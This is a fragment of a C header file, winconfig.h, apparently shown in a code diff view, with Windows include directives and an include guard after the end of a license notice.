USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#ifndef WINCONFIG_H
#define WINCONFIG_H
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#undef WIN32_LEAN_AND_MEAN
#include <memory.h>
#include <string.h>
#endif /* ndef WINCONFIG_H */
Loaded 100 of 194 files, more files were not shown because too many files have changed in this diff. Show more